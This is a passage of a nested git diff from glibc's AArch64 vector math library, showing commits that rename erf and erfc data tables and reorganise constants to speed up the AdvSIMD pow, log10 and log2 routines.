+-	     0x1.266ea8p-11,
+-	     0x1.19ff46p-11,
+-	     0x1.0e0de8p-11,
+-	     0x1.0295f0p-11,
+-	     0x1.ef25d4p-12,
+-	     0x1.da0110p-12,
+-	     0x1.c5b542p-12,
+-	     0x1.b23a5ap-12,
+-	     0x1.9f8894p-12,
+-	     0x1.8d986ap-12,
+-	     0x1.7c629ap-12,
+-	     0x1.6be022p-12,
+-	     0x1.5c0a38p-12,
+-	     0x1.4cda54p-12,
+-	     0x1.3e4a24p-12,
+-	     0x1.305390p-12,
+-	     0x1.22f0b4p-12,
+-	     0x1.161be4p-12,
+-	     0x1.09cfa4p-12,
+-	     0x1.fc0d56p-13,
+-	     0x1.e577bcp-13,
+-	     0x1.cfd4a6p-13,
+-	     0x1.bb1a96p-13,
+-	     0x1.a74068p-13,
+-	     0x1.943d4ap-13,
+-	     0x1.8208bcp-13,
+-	     0x1.709a8ep-13,
+-	     0x1.5feadap-13,
+-	     0x1.4ff208p-13,
+-	     0x1.40a8c2p-13,
+-	     0x1.3207fcp-13,
+-	     0x1.2408eap-13,
+-	     0x1.16a502p-13,
+-	     0x1.09d5f8p-13,
+-	     0x1.fb2b7ap-14,
+-	     0x1.e3bcf4p-14,
+-	     0x1.cd5528p-14,
+-	     0x1.b7e946p-14,
+-	     0x1.a36eecp-14,
+-	     0x1.8fdc1cp-14,
+-	     0x1.7d2738p-14,
+-	     0x1.6b4702p-14,
+-	     0x1.5a329cp-14,
+-	     0x1.49e178p-14,
+-	     0x1.3a4b60p-14,
+-	     0x1.2b6876p-14,
+-	     0x1.1d3120p-14,
+-	     0x1.0f9e1cp-14,
+-	     0x1.02a868p-14,
+-	     0x1.ec929ap-15,
+-	     0x1.d4f4b4p-15,
+-	     0x1.be6abcp-15,
+-	     0x1.a8e8ccp-15,
+-	     0x1.94637ep-15,
+-	     0x1.80cfdcp-15,
+-	     0x1.6e2368p-15,
+-	     0x1.5c540cp-15,
+-	     0x1.4b581cp-15,
+-	     0x1.3b2652p-15,
+-	     0x1.2bb5ccp-15,
+-	     0x1.1cfe02p-15,
+-	     0x1.0ef6c4p-15,
+-	     0x1.019842p-15,
+-	     0x1.e9b5e8p-16,
+-	     0x1.d16f58p-16,
+-	     0x1.ba4f04p-16,
+-	     0x1.a447b8p-16,
+-	     0x1.8f4cccp-16,
+-	     0x1.7b5224p-16,
+-	     0x1.684c22p-16,
+-	     0x1.562facp-16,
+-	     0x1.44f21ep-16,
+-	     0x1.34894ap-16,
+-	     0x1.24eb72p-16,
+-	     0x1.160f44p-16,
+-	     0x1.07ebd2p-16,
+-	     0x1.f4f12ep-17,
+-	     0x1.db5ad0p-17,
+-	     0x1.c304f0p-17,
+-	     0x1.abe09ep-17,
+-	     0x1.95df98p-17,
+-	     0x1.80f43ap-17,
+-	     0x1.6d1178p-17,
+-	     0x1.5a2ae0p-17,
+-	     0x1.483488p-17,
+-	     0x1.372310p-17,
+-	     0x1.26eb9ep-17,
+-	     0x1.1783cep-17,
+-	     0x1.08e1bap-17,
+-	     0x1.f5f7d8p-18,
+-	     0x1.db92b6p-18,
+-	     0x1.c282cep-18,
+-	     0x1.aab7acp-18,
+-	     0x1.94219cp-18,
+-	     0x1.7eb1a2p-18,
+-	     0x1.6a5972p-18,
+-	     0x1.570b6ap-18,
+-	     0x1.44ba86p-18,
+-	     0x1.335a62p-18,
+-	     0x1.22df2ap-18,
+-	     0x1.133d96p-18,
+-	     0x1.046aeap-18,
+-	     0x1.ecb9d0p-19,
+-	     0x1.d21398p-19,
+-	     0x1.b8d094p-19,
+-	     0x1.a0df10p-19,
+-	     0x1.8a2e26p-19,
+-	     0x1.74adc8p-19,
+-	     0x1.604ea8p-19,
+-	     0x1.4d0232p-19,
+-	     0x1.3aba86p-19,
+-	     0x1.296a70p-19,
+-	     0x1.190562p-19,
+-	     0x1.097f62p-19,
+-	     0x1.f59a20p-20,
+-	     0x1.d9c736p-20,
+-	     0x1.bf716cp-20,
+-	     0x1.a6852cp-20,
+-	     0x1.8eefd8p-20,
+-	     0x1.789fb8p-20,
+-	     0x1.6383f8p-20,
+-	     0x1.4f8c96p-20,
+-	     0x1.3caa62p-20,
+-	     0x1.2acee2p-20,
+-	     0x1.19ec60p-20,
+-	     0x1.09f5d0p-20,
+-	     0x1.f5bd96p-21,
+-	     0x1.d9371ep-21,
+-	     0x1.be41dep-21,
+-	     0x1.a4c89ep-21,
+-	     0x1.8cb738p-21,
+-	     0x1.75fa8ep-21,
+-	     0x1.608078p-21,
+-	     0x1.4c37c0p-21,
+-	     0x1.39100ep-21,
+-	     0x1.26f9e0p-21,
+-	     0x1.15e682p-21,
+-	     0x1.05c804p-21,
+-	     0x1.ed2254p-22,
+-	     0x1.d06ad6p-22,
+-	     0x1.b551c8p-22,
+-	     0x1.9bc0a0p-22,
+-	     0x1.83a200p-22,
+-	     0x1.6ce1aap-22,
+-	     0x1.576c72p-22,
+-	     0x1.43302cp-22,
+-	     0x1.301ba2p-22,
+-	     0x1.1e1e86p-22,
+-	     0x1.0d2966p-22,
+-	     0x1.fa5b50p-23,
+-	     0x1.dc3ae4p-23,
+-	     0x1.bfd756p-23,
+-	     0x1.a517dap-23,
+-	     0x1.8be4f8p-23,
+-	     0x1.74287ep-23,
+-	     0x1.5dcd66p-23,
+-	     0x1.48bfd4p-23,
+-	     0x1.34ecf8p-23,
+-	     0x1.224310p-23,
+-	     0x1.10b148p-23,
+-  },
+-};
+diff --git a/sysdeps/aarch64/fpu/vecmath_config.h b/sysdeps/aarch64/fpu/vecmath_config.h
+index 7f0a8aa5f2..862eefaf8f 100644
+--- a/sysdeps/aarch64/fpu/vecmath_config.h
++++ b/sysdeps/aarch64/fpu/vecmath_config.h
+@@ -75,49 +75,37 @@ extern const struct v_log10_data
+   } table[1 << V_LOG10_TABLE_BITS];
+ } __v_log10_data attribute_hidden;
+ 
+-extern const struct erff_data
++extern const struct v_erff_data
+ {
+   struct
+   {
+     float erf, scale;
+   } tab[513];
+-} __erff_data attribute_hidden;
++} __v_erff_data attribute_hidden;
+ 
+-extern const struct sv_erff_data
+-{
+-  float erf[513];
+-  float scale[513];
+-} __sv_erff_data attribute_hidden;
+-
+-extern const struct erf_data
++extern const struct v_erf_data
+ {
+   struct
+   {
+     double erf, scale;
+   } tab[769];
+-} __erf_data attribute_hidden;
+-
+-extern const struct sv_erf_data
+-{
+-  double erf[769];
+-  double scale[769];
+-} __sv_erf_data attribute_hidden;
++} __v_erf_data attribute_hidden;
+ 
+-extern const struct erfc_data
++extern const struct v_erfc_data
+ {
+   struct
+   {
+     double erfc, scale;
+   } tab[3488];
+-} __erfc_data attribute_hidden;
++} __v_erfc_data attribute_hidden;
+ 
+-extern const struct erfcf_data
++extern const struct v_erfcf_data
+ {
+   struct
+   {
+     float erfc, scale;
+   } tab[645];
+-} __erfcf_data attribute_hidden;
++} __v_erfcf_data attribute_hidden;
+ 
+ /* Some data for AdvSIMD and SVE pow's internal exp and log.  */
+ #define V_POW_EXP_TABLE_BITS 8
+
+commit 4148940836eee07d1138da6f1805280eeb8217e3
+Author: Pierre Blanchard <pierre.blanchard@arm.com>
+Date:   Mon Dec 9 15:53:04 2024 +0000
+
+    AArch64: Improve codegen in AdvSIMD pow
+    
+    Remove spurious ADRP. Improve memory access by shuffling constants and
+    using more indexed MLAs.
+    
+    A few more optimisation with no impact on accuracy
+    - force fmas contraction
+    - switch from shift-aided rint to rint instruction
+    
+    Between 1 and 5% throughput improvement on Neoverse
+    V1 depending on benchmark.
+    
+    (cherry picked from commit 569cfaaf4984ae70b23c61ee28a609b5aef93fea)
+
+diff --git a/sysdeps/aarch64/fpu/pow_advsimd.c b/sysdeps/aarch64/fpu/pow_advsimd.c
+index 3c91e3e183..81e134ac2f 100644
+--- a/sysdeps/aarch64/fpu/pow_advsimd.c
++++ b/sysdeps/aarch64/fpu/pow_advsimd.c
+@@ -22,9 +22,6 @@
+ /* Defines parameters of the approximation and scalar fallback.  */
+ #include "finite_pow.h"
+ 
+-#define VecSmallExp v_u64 (SmallExp)
+-#define VecThresExp v_u64 (ThresExp)
+-
+ #define VecSmallPowX v_u64 (SmallPowX)
+ #define VecThresPowX v_u64 (ThresPowX)
+ #define VecSmallPowY v_u64 (SmallPowY)
+@@ -32,36 +29,48 @@
+ 
+ static const struct data
+ {
+-  float64x2_t log_poly[6];
+-  float64x2_t exp_poly[3];
+-  float64x2_t ln2_hi, ln2_lo;
+-  float64x2_t shift, inv_ln2_n, ln2_hi_n, ln2_lo_n, small_powx;
+   uint64x2_t inf;
++  float64x2_t small_powx;
++  uint64x2_t offset, mask;
++  uint64x2_t mask_sub_0, mask_sub_1;
++  float64x2_t log_c0, log_c2, log_c4, log_c5;
++  double log_c1, log_c3;
++  double ln2_lo, ln2_hi;
++  uint64x2_t small_exp, thres_exp;
++  double ln2_lo_n, ln2_hi_n;
++  double inv_ln2_n, exp_c2;
++  float64x2_t exp_c0, exp_c1;
+ } data = {
++  /* Power threshold.  */
++  .inf = V2 (0x7ff0000000000000),
++  .small_powx = V2 (0x1p-126),
++  .offset = V2 (Off),
++  .mask = V2 (0xfffULL << 52),
++  .mask_sub_0 = V2 (1ULL << 52),
++  .mask_sub_1 = V2 (52ULL << 52),
+   /* Coefficients copied from v_pow_log_data.c
+      relative error: 0x1.11922ap-70 in [-0x1.6bp-8, 0x1.6bp-8]
+      Coefficients are scaled to match the scaling during evaluation.  */
+-  .log_poly
+-  = { V2 (0x1.555555555556p-2 * -2), V2 (-0x1.0000000000006p-2 * -2),
+-      V2 (0x1.999999959554ep-3 * 4), V2 (-0x1.555555529a47ap-3 * 4),
+-      V2 (0x1.2495b9b4845e9p-3 * -8), V2 (-0x1.0002b8b263fc3p-3 * -8) },
+-  .ln2_hi = V2 (0x1.62e42fefa3800p-1),
+-  .ln2_lo = V2 (0x1.ef35793c76730p-45),
++  .log_c0 = V2 (0x1.555555555556p-2 * -2),
++  .log_c1 = -0x1.0000000000006p-2 * -2,
++  .log_c2 = V2 (0x1.999999959554ep-3 * 4),
++  .log_c3 = -0x1.555555529a47ap-3 * 4,
++  .log_c4 = V2 (0x1.2495b9b4845e9p-3 * -8),
++  .log_c5 = V2 (-0x1.0002b8b263fc3p-3 * -8),
++  .ln2_hi = 0x1.62e42fefa3800p-1,
++  .ln2_lo = 0x1.ef35793c76730p-45,
+   /* Polynomial coefficients: abs error: 1.43*2^-58, ulp error: 0.549
+      (0.550 without fma) if |x| < ln2/512.  */
+-  .exp_poly = { V2 (0x1.fffffffffffd4p-2), V2 (0x1.5555571d6ef9p-3),
+-		V2 (0x1.5555576a5adcep-5) },
+-  .shift = V2 (0x1.8p52), /* round to nearest int. without intrinsics.  */
+-  .inv_ln2_n = V2 (0x1.71547652b82fep8), /* N/ln2.  */
+-  .ln2_hi_n = V2 (0x1.62e42fefc0000p-9), /* ln2/N.  */
+-  .ln2_lo_n = V2 (-0x1.c610ca86c3899p-45),
+-  .small_powx = V2 (0x1p-126),
+-  .inf = V2 (0x7ff0000000000000)
++  .exp_c0 = V2 (0x1.fffffffffffd4p-2),
++  .exp_c1 = V2 (0x1.5555571d6ef9p-3),
++  .exp_c2 = 0x1.5555576a5adcep-5,
++  .small_exp = V2 (0x3c90000000000000),
++  .thres_exp = V2 (0x03f0000000000000),
++  .inv_ln2_n = 0x1.71547652b82fep8, /* N/ln2.  */
++  .ln2_hi_n = 0x1.62e42fefc0000p-9, /* ln2/N.  */
++  .ln2_lo_n = -0x1.c610ca86c3899p-45,
+ };
+ 
+-#define A(i) data.log_poly[i]
+-#define C(i) data.exp_poly[i]
+-
+ /* This version implements an algorithm close to scalar pow but
+    - does not implement the trick in the exp's specialcase subroutine to avoid
+      double-rounding,
+@@ -91,10 +100,9 @@ v_log_inline (uint64x2_t ix, float64x2_t *tail, const struct data *d)
+   /* x = 2^k z; where z is in range [OFF,2*OFF) and exact.
+      The range is split into N subintervals.
+      The ith subinterval contains z and c is near its center.  */
+-  uint64x2_t tmp = vsubq_u64 (ix, v_u64 (Off));
+-  int64x2_t k
+-      = vshrq_n_s64 (vreinterpretq_s64_u64 (tmp), 52); /* arithmetic shift.  */
+-  uint64x2_t iz = vsubq_u64 (ix, vandq_u64 (tmp, v_u64 (0xfffULL << 52)));
++  uint64x2_t tmp = vsubq_u64 (ix, d->offset);
++  int64x2_t k = vshrq_n_s64 (vreinterpretq_s64_u64 (tmp), 52);
++  uint64x2_t iz = vsubq_u64 (ix, vandq_u64 (tmp, d->mask));
+   float64x2_t z = vreinterpretq_f64_u64 (iz);
+   float64x2_t kd = vcvtq_f64_s64 (k);
+   /* log(x) = k*Ln2 + log(c) + log1p(z/c-1).  */
+@@ -105,9 +113,10 @@ v_log_inline (uint64x2_t ix, float64x2_t *tail, const struct data *d)
+      |z/c - 1| < 1/N, so r = z/c - 1 is exactly representible.  */
+   float64x2_t r = vfmaq_f64 (v_f64 (-1.0), z, invc);
+   /* k*Ln2 + log(c) + r.  */
+-  float64x2_t t1 = vfmaq_f64 (logc, kd, d->ln2_hi);
++  float64x2_t ln2 = vld1q_f64 (&d->ln2_lo);
++  float64x2_t t1 = vfmaq_laneq_f64 (logc, kd, ln2, 1);
+   float64x2_t t2 = vaddq_f64 (t1, r);
+-  float64x2_t lo1 = vfmaq_f64 (logctail, kd, d->ln2_lo);
++  float64x2_t lo1 = vfmaq_laneq_f64 (logctail, kd, ln2, 0);
+   float64x2_t lo2 = vaddq_f64 (vsubq_f64 (t1, t2), r);
+   /* Evaluation is optimized assuming superscalar pipelined execution.  */
+   float64x2_t ar = vmulq_f64 (v_f64 (-0.5), r);
+@@ -118,9 +127,10 @@ v_log_inline (uint64x2_t ix, float64x2_t *tail, const struct data *d)
+   float64x2_t lo3 = vfmaq_f64 (vnegq_f64 (ar2), ar, r);
+   float64x2_t lo4 = vaddq_f64 (vsubq_f64 (t2, hi), ar2);
+   /* p = log1p(r) - r - A[0]*r*r.  */
+-  float64x2_t a56 = vfmaq_f64 (A (4), r, A (5));
+-  float64x2_t a34 = vfmaq_f64 (A (2), r, A (3));
+-  float64x2_t a12 = vfmaq_f64 (A (0), r, A (1));
++  float64x2_t odd_coeffs = vld1q_f64 (&d->log_c1);
++  float64x2_t a56 = vfmaq_f64 (d->log_c4, r, d->log_c5);
++  float64x2_t a34 = vfmaq_laneq_f64 (d->log_c2, r, odd_coeffs, 1);
++  float64x2_t a12 = vfmaq_laneq_f64 (d->log_c0, r, odd_coeffs, 0);
+   float64x2_t p = vfmaq_f64 (a34, ar2, a56);
+   p = vfmaq_f64 (a12, ar2, p);
+   p = vmulq_f64 (ar3, p);
+@@ -140,28 +150,28 @@ exp_special_case (float64x2_t x, float64x2_t xtail)
+ 
+ /* Computes sign*exp(x+xtail) where |xtail| < 2^-8/N and |xtail| <= |x|.  */
+ static inline float64x2_t
+-v_exp_inline (float64x2_t x, float64x2_t xtail, const struct data *d)
++v_exp_inline (float64x2_t x, float64x2_t neg_xtail, const struct data *d)
+ {
+   /* Fallback to scalar exp_inline for all lanes if any lane
+      contains value of x s.t. |x| <= 2^-54 or >= 512.  */
+-  uint64x2_t abstop
+-      = vshrq_n_u64 (vandq_u64 (vreinterpretq_u64_f64 (x), d->inf), 52);
+-  uint64x2_t uoflowx
+-      = vcgeq_u64 (vsubq_u64 (abstop, VecSmallExp), VecThresExp);
++  uint64x2_t uoflowx = vcgeq_u64 (
++      vsubq_u64 (vreinterpretq_u64_f64 (vabsq_f64 (x)), d->small_exp),
++      d->thres_exp);
+   if (__glibc_unlikely (v_any_u64 (uoflowx)))
+-    return exp_special_case (x, xtail);
++    return exp_special_case (x, vnegq_f64 (neg_xtail));
+ 
+   /* exp(x) = 2^(k/N) * exp(r), with exp(r) in [2^(-1/2N),2^(1/2N)].  */
+   /* x = ln2/N*k + r, with k integer and r in [-ln2/2N, ln2/2N].  */
+-  float64x2_t z = vmulq_f64 (d->inv_ln2_n, x);
+   /* z - kd is in [-1, 1] in non-nearest rounding modes.  */
+-  float64x2_t kd = vaddq_f64 (z, d->shift);
+-  uint64x2_t ki = vreinterpretq_u64_f64 (kd);
+-  kd = vsubq_f64 (kd, d->shift);
+-  float64x2_t r = vfmsq_f64 (x, kd, d->ln2_hi_n);
+-  r = vfmsq_f64 (r, kd, d->ln2_lo_n);
++  float64x2_t exp_consts = vld1q_f64 (&d->inv_ln2_n);
++  float64x2_t z = vmulq_laneq_f64 (x, exp_consts, 0);
++  float64x2_t kd = vrndnq_f64 (z);
++  uint64x2_t ki = vreinterpretq_u64_s64 (vcvtaq_s64_f64 (z));
++  float64x2_t ln2_n = vld1q_f64 (&d->ln2_lo_n);
++  float64x2_t r = vfmsq_laneq_f64 (x, kd, ln2_n, 1);
++  r = vfmsq_laneq_f64 (r, kd, ln2_n, 0);
+   /* The code assumes 2^-200 < |xtail| < 2^-8/N.  */
+-  r = vaddq_f64 (r, xtail);
++  r = vsubq_f64 (r, neg_xtail);
+   /* 2^(k/N) ~= scale.  */
+   uint64x2_t idx = vandq_u64 (ki, v_u64 (N_EXP - 1));
+   uint64x2_t top = vshlq_n_u64 (ki, 52 - V_POW_EXP_TABLE_BITS);
+@@ -170,8 +180,8 @@ v_exp_inline (float64x2_t x, float64x2_t xtail, const struct data *d)
+   sbits = vaddq_u64 (sbits, top);
+   /* exp(x) = 2^(k/N) * exp(r) ~= scale + scale * (exp(r) - 1).  */
+   float64x2_t r2 = vmulq_f64 (r, r);
+-  float64x2_t tmp = vfmaq_f64 (C (1), r, C (2));
+-  tmp = vfmaq_f64 (C (0), r, tmp);
++  float64x2_t tmp = vfmaq_laneq_f64 (d->exp_c1, r, exp_consts, 1);
++  tmp = vfmaq_f64 (d->exp_c0, r, tmp);
+   tmp = vfmaq_f64 (r, r2, tmp);
+   float64x2_t scale = vreinterpretq_f64_u64 (sbits);
+   /* Note: tmp == 0 or |tmp| > 2^-200 and scale > 2^-739, so there
+@@ -230,8 +240,8 @@ float64x2_t VPCS_ATTR V_NAME_D2 (pow) (float64x2_t x, float64x2_t y)
+ 	{
+ 	  /* Normalize subnormal x so exponent becomes negative.  */
+ 	  uint64x2_t vix_norm = vreinterpretq_u64_f64 (
+-	      vabsq_f64 (vmulq_f64 (x, vcvtq_f64_u64 (v_u64 (1ULL << 52)))));
+-	  vix_norm = vsubq_u64 (vix_norm, v_u64 (52ULL << 52));
++	      vabsq_f64 (vmulq_f64 (x, vcvtq_f64_u64 (d->mask_sub_0))));
++	  vix_norm = vsubq_u64 (vix_norm, d->mask_sub_1);
+ 	  vix = vbslq_u64 (sub_x, vix_norm, vix);
+ 	}
+     }
+@@ -242,8 +252,7 @@ float64x2_t VPCS_ATTR V_NAME_D2 (pow) (float64x2_t x, float64x2_t y)
+ 
+   /* Vector Exp(y_loghi, y_loglo).  */
+   float64x2_t vehi = vmulq_f64 (y, vhi);
+-  float64x2_t velo = vmulq_f64 (y, vlo);
+   float64x2_t vemi = vfmsq_f64 (vehi, y, vhi);
+-  velo = vsubq_f64 (velo, vemi);
+-  return v_exp_inline (vehi, velo, d);
++  float64x2_t neg_velo = vfmsq_f64 (vemi, y, vlo);
++  return v_exp_inline (vehi, neg_velo, d);
+ }
+
+commit ae04f63087415eba9060143608b03db693854bb7
+Author: Pierre Blanchard <pierre.blanchard@arm.com>
+Date:   Mon Dec 9 15:54:34 2024 +0000
+
+    AArch64: Improve codegen in AdvSIMD logs
+    
+    Remove spurious ADRP and a few MOVs.
+    Reduce memory access by using more indexed MLAs in polynomial.
+    Align notation so that algorithms are easier to compare.
+    Speedup on Neoverse V1 for log10 (8%), log (8.5%), and log2 (10%).
+    Update error threshold in AdvSIMD log (now matches SVE log).
+    
+    (cherry picked from commit 8eb5ad2ebc94cc5bedbac57c226c02ec254479c7)
+
+diff --git a/sysdeps/aarch64/fpu/log10_advsimd.c b/sysdeps/aarch64/fpu/log10_advsimd.c
+index c065aaebae..f69ed21c39 100644
+--- a/sysdeps/aarch64/fpu/log10_advsimd.c
++++ b/sysdeps/aarch64/fpu/log10_advsimd.c
+@@ -18,36 +18,36 @@
+    <https://www.gnu.org/licenses/>.  */
+ 
+ #include "v_math.h"
+-#include "poly_advsimd_f64.h"
+-
+-#define N (1 << V_LOG10_TABLE_BITS)
+ 
+ static const struct data
+ {
+-  uint64x2_t min_norm;
++  uint64x2_t off, sign_exp_mask, offset_lower_bound;
+   uint32x4_t special_bound;
+-  float64x2_t poly[5];
+-  float64x2_t invln10, log10_2, ln2;
+-  uint64x2_t sign_exp_mask;
++  double invln10, log10_2;
++  double c1, c3;
++  float64x2_t c0, c2, c4;
+ } data = {
+   /* Computed from log coefficients divided by log(10) then rounded to double
+      precision.  */
+-  .poly = { V2 (-0x1.bcb7b1526e506p-3), V2 (0x1.287a7636be1d1p-3),
+-	    V2 (-0x1.bcb7b158af938p-4), V2 (0x1.63c78734e6d07p-4),
+-	    V2 (-0x1.287461742fee4p-4) },
+-  .ln2 = V2 (0x1.62e42fefa39efp-1),
+-  .invln10 = V2 (0x1.bcb7b1526e50ep-2),
+-  .log10_2 = V2 (0x1.34413509f79ffp-2),
+-  .min_norm = V2 (0x0010000000000000), /* asuint64(0x1p-1022).  */
+-  .special_bound = V4 (0x7fe00000),    /* asuint64(inf) - min_norm.  */
++  .c0 = V2 (-0x1.bcb7b1526e506p-3),
++  .c1 = 0x1.287a7636be1d1p-3,
++  .c2 = V2 (-0x1.bcb7b158af938p-4),
++  .c3 = 0x1.63c78734e6d07p-4,
++  .c4 = V2 (-0x1.287461742fee4p-4),
++  .invln10 = 0x1.bcb7b1526e50ep-2,
++  .log10_2 = 0x1.34413509f79ffp-2,
++  .off = V2 (0x3fe6900900000000),
+   .sign_exp_mask = V2 (0xfff0000000000000),
++  /* Lower bound is 0x0010000000000000. For
++     optimised register use subnormals are detected after offset has been
++     subtracted, so lower bound - offset (which wraps around).  */
++  .offset_lower_bound = V2 (0x0010000000000000 - 0x3fe6900900000000),
++  .special_bound = V4 (0x7fe00000), /* asuint64(inf) - 0x0010000000000000.  */
+ };
+ 
+-#define Off v_u64 (0x3fe6900900000000)
++#define N (1 << V_LOG10_TABLE_BITS)
+ #define IndexMask (N - 1)
+ 
+-#define T(s, i) __v_log10_data.s[i]
+-
+ struct entry
+ {
+   float64x2_t invc;
+@@ -70,10 +70,11 @@ lookup (uint64x2_t i)
+ }
+ 
+ static float64x2_t VPCS_ATTR NOINLINE
+-special_case (float64x2_t x, float64x2_t y, float64x2_t hi, float64x2_t r2,
+-	      uint32x2_t special)
++special_case (float64x2_t hi, uint64x2_t u_off, float64x2_t y, float64x2_t r2,
++	      uint32x2_t special, const struct data *d)
+ {
+-  return v_call_f64 (log10, x, vfmaq_f64 (hi, r2, y), vmovl_u32 (special));
++  float64x2_t x = vreinterpretq_f64_u64 (vaddq_u64 (u_off, d->off));
++  return v_call_f64 (log10, x, vfmaq_f64 (hi, y, r2), vmovl_u32 (special));
+ }
+ 
+ /* Fast implementation of double-precision vector log10
+@@ -85,19 +86,24 @@ special_case (float64x2_t x, float64x2_t y, float64x2_t hi, float64x2_t r2,
+ float64x2_t VPCS_ATTR V_NAME_D1 (log10) (float64x2_t x)
+ {
+   const struct data *d = ptr_barrier (&data);
+-  uint64x2_t ix = vreinterpretq_u64_f64 (x);
+-  uint32x2_t special = vcge_u32 (vsubhn_u64 (ix, d->min_norm),
+-				 vget_low_u32 (d->special_bound));
++
++  /* To avoid having to mov x out of the way, keep u after offset has been
++     applied, and recover x by adding the offset back in the special-case
++     handler.  */
++  uint64x2_t u = vreinterpretq_u64_f64 (x);
++  uint64x2_t u_off = vsubq_u64 (u, d->off);
+ 
+   /* x = 2^k z; where z is in range [OFF,2*OFF) and exact.
+      The range is split into N subintervals.
+      The ith subinterval contains z and c is near its center.  */
+-  uint64x2_t tmp = vsubq_u64 (ix, Off);
+-  int64x2_t k = vshrq_n_s64 (vreinterpretq_s64_u64 (tmp), 52);
+-  uint64x2_t iz = vsubq_u64 (ix, vandq_u64 (tmp, d->sign_exp_mask));
++  int64x2_t k = vshrq_n_s64 (vreinterpretq_s64_u64 (u_off), 52);
++  uint64x2_t iz = vsubq_u64 (u, vandq_u64 (u_off, d->sign_exp_mask));
+   float64x2_t z = vreinterpretq_f64_u64 (iz);
+ 
+-  struct entry e = lookup (tmp);
++  struct entry e = lookup (u_off);
++
++  uint32x2_t special = vcge_u32 (vsubhn_u64 (u_off, d->offset_lower_bound),
++				 vget_low_u32 (d->special_bound));
+ 
+   /* log10(x) = log1p(z/c-1)/log(10) + log10(c) + k*log10(2).  */
+   float64x2_t r = vfmaq_f64 (v_f64 (-1.0), z, e.invc);
+@@ -105,17 +111,22 @@ float64x2_t VPCS_ATTR V_NAME_D1 (log10) (float64x2_t x)
+ 
+   /* hi = r / log(10) + log10(c) + k*log10(2).
+      Constants in v_log10_data.c are computed (in extended precision) as
+-     e.log10c := e.logc * ivln10.  */
+-  float64x2_t w = vfmaq_f64 (e.log10c, r, d->invln10);
++     e.log10c := e.logc * invln10.  */
++  float64x2_t cte = vld1q_f64 (&d->invln10);
++  float64x2_t hi = vfmaq_laneq_f64 (e.log10c, r, cte, 0);
+ 
+   /* y = log10(1+r) + n * log10(2).  */
+-  float64x2_t hi = vfmaq_f64 (w, kd, d->log10_2);
++  hi = vfmaq_laneq_f64 (hi, kd, cte, 1);
+ 
+   /* y = r2*(A0 + r*A1 + r2*(A2 + r*A3 + r2*A4)) + hi.  */
+   float64x2_t r2 = vmulq_f64 (r, r);
+-  float64x2_t y = v_pw_horner_4_f64 (r, r2, d->poly);
++  float64x2_t odd_coeffs = vld1q_f64 (&d->c1);
++  float64x2_t y = vfmaq_laneq_f64 (d->c2, r, odd_coeffs, 1);
++  float64x2_t p = vfmaq_laneq_f64 (d->c0, r, odd_coeffs, 0);
++  y = vfmaq_f64 (y, d->c4, r2);
++  y = vfmaq_f64 (p, y, r2);
+ 
+   if (__glibc_unlikely (v_any_u32h (special)))
+-    return special_case (x, y, hi, r2, special);
+-  return vfmaq_f64 (hi, r2, y);
++    return special_case (hi, u_off, y, r2, special, d);
++  return vfmaq_f64 (hi, y, r2);
+ }
+diff --git a/sysdeps/aarch64/fpu/log2_advsimd.c b/sysdeps/aarch64/fpu/log2_advsimd.c
+index 4057c552d8..1eea1f86eb 100644
+--- a/sysdeps/aarch64/fpu/log2_advsimd.c
++++ b/sysdeps/aarch64/fpu/log2_advsimd.c
+@@ -18,31 +18,33 @@
+    <https://www.gnu.org/licenses/>.  */
+ 
+ #include "v_math.h"
+-#include "poly_advsimd_f64.h"
+-
+-#define N (1 << V_LOG2_TABLE_BITS)
+ 
+ static const struct data
+ {
+-  uint64x2_t min_norm;
++  uint64x2_t off, sign_exp_mask, offset_lower_bound;
+   uint32x4_t special_bound;
+-  float64x2_t poly[5];
+-  float64x2_t invln2;
+-  uint64x2_t sign_exp_mask;
++  float64x2_t c0, c2;
++  double c1, c3, invln2, c4;
+ } data = {
+   /* Each coefficient was generated to approximate log(r) for |r| < 0x1.fp-9
+      and N = 128, then scaled by log2(e) in extended precision and rounded back
+      to double precision.  */
+-  .poly = { V2 (-0x1.71547652b83p-1), V2 (0x1.ec709dc340953p-2),
+-	    V2 (-0x1.71547651c8f35p-2), V2 (0x1.2777ebe12dda5p-2),
+-	    V2 (-0x1.ec738d616fe26p-3) },
+-  .invln2 = V2 (0x1.71547652b82fep0),
+-  .min_norm = V2 (0x0010000000000000), /* asuint64(0x1p-1022).  */
+-  .special_bound = V4 (0x7fe00000),    /* asuint64(inf) - min_norm.  */
++  .c0 = V2 (-0x1.71547652b8300p-1),
++  .c1 = 0x1.ec709dc340953p-2,
++  .c2 = V2 (-0x1.71547651c8f35p-2),
++  .c3 = 0x1.2777ebe12dda5p-2,
++  .c4 = -0x1.ec738d616fe26p-3,
++  .invln2 = 0x1.71547652b82fep0,
++  .off = V2 (0x3fe6900900000000),
+   .sign_exp_mask = V2 (0xfff0000000000000),
++  /* Lower bound is 0x0010000000000000. For
++     optimised register use subnormals are detected after offset has been
++     subtracted, so lower bound - offset (which wraps around).  */
++  .offset_lower_bound = V2 (0x0010000000000000 - 0x3fe6900900000000),
++  .special_bound = V4 (0x7fe00000), /* asuint64(inf) - asuint64(0x1p-1022).  */
+ };
+ 
+-#define Off v_u64 (0x3fe6900900000000)
++#define N (1 << V_LOG2_TABLE_BITS)
+ #define IndexMask (N - 1)
+ 
+ struct entry
+@@ -67,10 +69,11 @@ lookup (uint64x2_t i)
+ }
+ 
+ static float64x2_t VPCS_ATTR NOINLINE
+-special_case (float64x2_t x, float64x2_t y, float64x2_t w, float64x2_t r2,
+-	      uint32x2_t special)
++special_case (float64x2_t hi, uint64x2_t u_off, float64x2_t y, float64x2_t r2,
++	      uint32x2_t special, const struct data *d)
+ {
+-  return v_call_f64 (log2, x, vfmaq_f64 (w, r2, y), vmovl_u32 (special));
++  float64x2_t x = vreinterpretq_f64_u64 (vaddq_u64 (u_off, d->off));
++  return v_call_f64 (log2, x, vfmaq_f64 (hi, y, r2), vmovl_u32 (special));
+ }
+ 
+ /* Double-precision vector log2 routine. Implements the same algorithm as
+@@ -81,31 +84,41 @@ special_case (float64x2_t x, float64x2_t y, float64x2_t w, float64x2_t r2,
+ float64x2_t VPCS_ATTR V_NAME_D1 (log2) (float64x2_t x)
+ {
+   const struct data *d = ptr_barrier (&data);
+-  uint64x2_t ix = vreinterpretq_u64_f64 (x);
+-  uint32x2_t special = vcge_u32 (vsubhn_u64 (ix, d->min_norm),
+-				 vget_low_u32 (d->special_bound));
++
++  /* To avoid having to mov x out of the way, keep u after offset has been
++     applied, and recover x by adding the offset back in the special-case
++     handler.  */
++  uint64x2_t u = vreinterpretq_u64_f64 (x);
